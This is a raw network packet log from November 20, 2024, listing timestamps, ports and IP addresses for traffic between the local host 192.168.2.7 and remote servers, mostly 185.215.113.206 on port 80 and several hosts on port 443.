Nov 20, 2024 21:05:51.294579029 CET	49854	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:51.294591904 CET	443	49854	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:51.389955997 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.390089035 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.390449047 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.390461922 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.390539885 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.390609980 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.390670061 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.391402960 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.391417027 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.391484976 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.392244101 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.392256975 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.392410994 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.393039942 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.393184900 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.393924952 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.393938065 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.393949986 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.393985033 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.394093037 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.394794941 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.394893885 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.394969940 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.395032883 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.395539999 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.395553112 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.395618916 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.395618916 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.396437883 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.396506071 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.396595955 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.396699905 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.396877050 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.396888971 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.396900892 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.396927118 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.396950960 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.397218943 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.397319078 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.398453951 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.398467064 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.398555040 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.398590088 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.398675919 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.398761988 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.398880959 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.399446964 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.399534941 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.399962902 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.400042057 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.400944948 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.401078939 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.401093960 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.401106119 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.401118040 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.401160002 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.401160002 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.402322054 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.402337074 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.402431011 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.402870893 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.402885914 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.403007030 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.403007030 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.403980970 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.404128075 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.404768944 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.404783964 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.404843092 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.404843092 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.404923916 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.404989958 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.405940056 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.405953884 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.406033993 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.406378031 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.406537056 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.406824112 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.406984091 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.408313036 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.408328056 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.408399105 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.408399105 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.409111977 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.409239054 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.409282923 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.409337997 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.409975052 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.410121918 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.410298109 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.410574913 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.410657883 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.410708904 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.410846949 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.410907030 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.411633015 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.411647081 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.411706924 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.412417889 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.412528038 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.412731886 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.412805080 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.413405895 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.413425922 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.413471937 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.413485050 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.413486958 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.413486958 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.413497925 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.413522959 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.413541079 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.413603067 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.413630009 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.413716078 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.413759947 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.413902998 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.414000034 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.414434910 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.414465904 CET	443	49849	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.414496899 CET	443	49849	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.414535999 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.414572954 CET	49849	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.414619923 CET	443	49849	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.414704084 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.414802074 CET	443	49849	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.414825916 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.414865017 CET	49849	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.415049076 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.415122032 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.415183067 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.415194988 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.415215015 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.415340900 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.415503025 CET	49862	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.415563107 CET	443	49862	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.415663004 CET	49862	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.416044950 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.416167021 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.416189909 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.416249037 CET	49862	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.416275024 CET	443	49862	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.416316986 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.420032024 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.420047045 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.420058966 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.420075893 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.420089006 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.420100927 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.420135975 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.420136929 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.420214891 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.420461893 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.420645952 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.420650005 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.420679092 CET	49849	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.420702934 CET	443	49849	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.420738935 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.421257019 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.421344995 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.421423912 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.421499968 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.422367096 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.422380924 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.422422886 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.422976017 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.423094034 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.423324108 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.423408985 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.423698902 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.423861980 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.423873901 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.424019098 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.424223900 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.424237967 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.424387932 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.424807072 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.424942017 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.425003052 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.425081968 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.425462008 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.425596952 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.425626993 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.425688982 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.426165104 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.426325083 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.426377058 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.426441908 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.426990986 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.427150011 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.427151918 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.427331924 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.427886009 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.428375006 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.428426981 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.428426981 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.428689003 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.428778887 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.429038048 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.429101944 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.429626942 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.429752111 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.429753065 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.430016041 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.430378914 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.430474043 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.430543900 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.430634022 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.431260109 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.431272984 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.431333065 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.432077885 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.432255983 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.432267904 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.432343960 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.432882071 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.432997942 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.506618977 CET	443	49856	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:51.507155895 CET	49856	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:51.507209063 CET	443	49856	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:51.507616043 CET	49856	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:51.507630110 CET	443	49856	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:51.537519932 CET	443	49855	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:51.538165092 CET	49855	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:51.538199902 CET	443	49855	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:51.538786888 CET	49855	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:51.538798094 CET	443	49855	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:51.580719948 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.580925941 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.580929995 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.581028938 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.581137896 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.581159115 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.581214905 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.581214905 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.581882000 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.581983089 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.581984997 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.582112074 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.582771063 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.582786083 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.583018064 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.583621979 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.583688974 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.584067106 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.584388971 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.584480047 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.584937096 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.585042000 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.585268021 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.585392952 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.585411072 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.585550070 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.586101055 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.586236000 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.586244106 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.586604118 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.586951017 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.587301970 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.587369919 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.587827921 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.587982893 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.587992907 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.588056087 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.588634014 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.588841915 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.589400053 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.589468956 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.589603901 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.589617014 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.589761972 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.590318918 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.590434074 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.590455055 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.590552092 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.591150999 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.591223955 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.591389894 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.591478109 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.591995955 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.592185020 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.592365026 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.592498064 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.592886925 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.592993975 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.592998028 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.593046904 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.593734980 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.593799114 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.593924999 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.594572067 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.594697952 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.594929934 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.595000982 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.595434904 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.595501900 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.595927954 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.595999956 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.596347094 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.596404076 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.597135067 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.597146034 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.597271919 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.597278118 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.597373009 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.597865105 CET	49863	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:51.597910881 CET	443	49863	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:51.597969055 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.597982883 CET	49863	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:51.598139048 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.598242998 CET	49864	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:51.598263979 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.598263979 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.598294020 CET	443	49864	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:51.598354101 CET	49864	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:51.598447084 CET	49865	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:51.598542929 CET	49866	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:51.598550081 CET	443	49865	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:51.598555088 CET	443	49866	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:51.598634005 CET	49865	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:51.598697901 CET	49866	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:51.598701000 CET	49867	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:51.598721027 CET	443	49867	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:51.598795891 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.598862886 CET	49867	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:51.598968029 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.599350929 CET	49863	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:51.599368095 CET	443	49863	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:51.599457026 CET	49864	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:51.599467039 CET	443	49864	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:51.599545956 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.599561930 CET	49866	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:51.599570036 CET	443	49866	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:51.599603891 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.599669933 CET	49865	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:51.599670887 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.599684954 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.599704981 CET	443	49865	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:51.599756002 CET	49780	80	192.168.2.7	185.215.113.206
